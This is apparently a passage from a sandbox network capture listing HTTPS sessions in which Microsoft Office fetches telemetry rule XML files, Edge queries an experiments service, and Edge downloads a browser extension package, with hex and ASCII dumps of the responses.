2024-11-26 09:09:21 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:21 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:21 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:21 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090921Z-174f7845968n2hr8hC1EWR9cag0000000uv0000000005vt8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:21 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:21 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:21 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:21 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090921Z-174f7845968kdththC1EWRzvxn00000007ng000000001ttq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:21 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:21 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:21 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090921Z-174f7845968psccphC1EWRuz9s0000000vbg000000009zyh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:21 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49753	94.245.104.56	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:21 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:22 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Tue, 26 Nov 2024 09:09:21 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=9d90d64458d90255b6b35bbdd301682cde81e2f30fd042245a59b55dae0fc551;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=9d90d64458d90255b6b35bbdd301682cde81e2f30fd042245a59b55dae0fc551;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:23 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:23 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090923Z-174f7845968ljs8phC1EWRe6en0000000v2g000000004rf3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:24 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:23 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:23 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 6f96f590-e01e-0099-0e7f-3fda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090923Z-174f78459685726chC1EWRsnbg0000000v9g000000003r96 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:24 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:23 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:24 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090924Z-174f784596886s2bhC1EWR743w0000000va0000000002r7a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:24 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:23 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090924Z-174f7845968kvnqxhC1EWRmf3g0000000e40000000000pyx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:23 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:24 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 3360fb1d-601e-0097-3291-3ff33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090924Z-174f7845968xlwnmhC1EWR0sv80000000v50000000000p22 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:24 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49768	142.250.181.65	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:24 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:24 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC5PORTvvCZnmg8ylymoVoIJR9ylyfodIevcpGIOY4YlNiBXS_Kucpitjhh8E-j3chUYGCc X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Mon, 25 Nov 2024 16:45:00 GMT Expires: Tue, 25 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 59064 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-26 09:09:24 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-26 09:09:24 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-26 09:09:24 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
